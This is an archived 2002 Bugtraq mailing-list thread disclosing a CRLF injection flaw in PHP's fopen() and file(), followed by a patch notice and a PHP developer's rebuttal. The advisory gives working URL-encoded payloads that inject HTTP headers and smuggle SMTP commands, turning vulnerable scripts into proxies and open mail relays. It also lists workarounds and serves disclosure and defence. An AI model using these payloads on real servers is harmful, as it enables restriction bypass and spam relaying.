74905 2002-09-09 23:51 /166 rader/ Ulf Harnhammar <ulfh@update.uu.se> Importerad: 2002-09-09 23:51 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1436> Ärende: PHP fopen() CRLF Injection ------------------------------------------------------------ PHP fopen() CRLF Injection PROGRAM: PHP VENDOR: The PHP Group <group@php.net> HOMEPAGE: http://www.php.net/ VULNERABLE VERSIONS: 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others IMMUNE VERSIONS: none, but workarounds exist SEVERITY: medium DESCRIPTION: "PHP is a widely-used Open Source general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Its syntax draws upon C, Java, and Perl, and is easy to learn. PHP runs on many different platforms and can be used as a standalone executable or as a module under a variety of Web servers. It has excellent support for databases, XML, LDAP, IMAP, Java, various Internet protocols, and general data manipulation, and is extensible via its powerful API." (direct quote from the program's project page at Freshmeat) PHP is published under the terms of The PHP License. It is installed on millions of web servers. SUMMARY: fopen(), file() and other functions in PHP have a vulnerability that makes it possible to add extra HTTP headers to HTTP queries. Attackers may use it to escape certain restrictions, like what host to access on a web server. In some cases, this vulnerability even opens up for arbitrary net connections, turning some PHP scripts into proxies and open mail relays. TECHNICAL DETAILS: PHP has several functions that take filenames as one of their arguments: fopen(), file() and some others. If allow_url_fopen is set to On in php.ini, those functions also accept URLs instead of regular files, and they connect to the server in question with the correct protocol. This functionality is vulnerable to some CRLF Injection attacks. 1) We start with the simple attacks. Let's say that this PHP snippet is saved as snippet.php: <?php echo '<pre>'; print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind")); echo '</pre>'; ?> If an attacker surfs to: snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www. site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F %2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A (should be on one line) this HTTP query will be sent to www.site1.st: GET /api?sunnan=visby&vind=gotland HTTP/1.0 Host: www.site2.st User-Agent: Ulf/0.0 Referer: http://www.gnuheter.org/ Cookie: user=ulf HTTP/1.0 Host: www.site1.st User-Agent: PHP/4.1.2 As you can see, the real headers from PHP are sent as well, but the web server ignores them, as we send two CRLFs before them to indicate that the headers are over. Using this technique, we can add arbitrary user agents, referers and cookies. We can also break out of restrictions and access site2.st instead of the site site1.st that snippet.php tries to restrict us to, if site1.st and site2.st are virtual hosts on the same machine. 2) If the PHP script is even worse, like this one called dotcom.php: <?php $fp = fopen($url, 'r'); fpassthru($fp); ?> we can connect to arbitrary ports and send (almost) arbitrary commands, thus turning the dotcom.php script into a proxy and an open mail relay. If we surf to: dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+ my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+ TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+ PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A (should be on one line) the PHP interpreter will connect to mail.site1.st on port 25, and send the following commands: GET / HTTP/1.0 HELO my.own.machine MAIL FROM:<me@my.own.machine> RCPT TO:<info@site1.st> DATA i will never say the word PROCRASTINATE again . QUIT HTTP/1.0 Host: mail.site1.st:25 User-Agent: PHP/4.1.2 Both PHP and the MTA will complain, but the mail is still sent. FURTHER READING: For more information about this group of problems, read my "CRLF Injection" paper, which is available at http://online.securityfocus.com/archive/1/271515 COMMUNICATION WITH VENDOR: All contact methods I could find were very public, like mailing lists and bug tracking systems. I ended up entering this security hole into their bug tracking system (as number 19160) on the 28th of August. The PHP developers are working on fixing this bug, but nothing have been committed to their CVS yet. I am releasing this anyway, as it is already public in their bug tracking system and as Matthew Murphy has published a related hole in PHP recently, thus making it more likely that some blackhat will find this too. WORKAROUNDS: One solution is to make sure that all variables that are used in this type of URL are clean, by including this command in your PHP scripts: $var = preg_replace('/\\s+/', '', $var); Another solution: if your scripts don't need to access URLs like files, you can switch off that functionality by setting allow_url_fopen to Off in php.ini. // Ulf Harnhammar ulfh@update.uu.se http://www.metaur.nu/ (74905) /Ulf Harnhammar <ulfh@update.uu.se>/-------- 75347 2002-09-12 18:56 /25 rader/ Ulf Harnhammar <ulfh@update.uu.se> Importerad: 2002-09-12 18:56 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1484> Ärende: Re: PHP fopen() CRLF Injection ------------------------------------------------------------ This issue has now been fixed in their CVS repository. This is the patch that they used: http://cvs.php.net/diff.php/php4/ext/standard/url.c?r1=1.51&r2=1.52&ty=u&Horde=0 // Ulf Harnhammar ulfh@update.uu.se http://www.metaur.nu/ On Mon, 9 Sep 2002, Ulf Harnhammar wrote: > PHP fopen() CRLF Injection > > > SUMMARY: > > fopen(), file() and other functions in PHP have a vulnerability > that makes it possible to add extra HTTP headers to HTTP > queries. Attackers may use it to escape certain restrictions, > like what host to access on a web server. In some cases, this > vulnerability even opens up for arbitrary net connections, turning > some PHP scripts into proxies and open mail relays. (75347) /Ulf Harnhammar <ulfh@update.uu.se>/-------- 75360 2002-09-12 21:07 /26 rader/ Stefan Esser <sesser@php.net> Importerad: 2002-09-12 21:07 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1490> Ärende: Re: PHP fopen() CRLF Injection ------------------------------------------------------------ Hi, > This issue has now been fixed in their CVS repository. This is the > patch that they used: I dislike calling my patch a fix. The problem you describe is not a bug within PHP. One could call it an undocumented feature, that is now gone with my patch. You cannot blame a programmer's error on the language itself. Your fopen() thing does only occur if the programmer does TWO stupid things: A) pass user input directly to a function without proper validation, B) pass an url to a function that is not an url. Any string that contains control chars cannot be a valid url. Before you pass a string that should be an url to any function you MUST urlencode() it. No need for your reg expression at all. Following your idea I could blame the libc authors for implementing strcpy() because misused it leads to bufferoverflows. Just because PHP is easy (to learn) you cannot leave your brain at home when programming for your company. Stefan Esser (75360) /Stefan Esser <sesser@php.net>/------------- Bilaga (application/pgp-signature) i text 75361 75361 2002-09-12 21:07 /9 rader/ Stefan Esser <sesser@php.net> Importerad: 2002-09-12 21:07 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1491> Bilaga (text/plain) till text 75360 Ärende: Bilaga till: Re: PHP fopen() CRLF Injection ------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Weitere Infos: siehe http://www.gnupg.org iD8DBQE9gNUM1rB3BM9srmkRAmwsAJoCEWxe562p8RLW6PScj429EurvxQCguhTB L5TkCD3HVn+8mCJJh9vKrUQ= =7dTm -----END PGP SIGNATURE----- (75361) /Stefan Esser <sesser@php.net>/-------------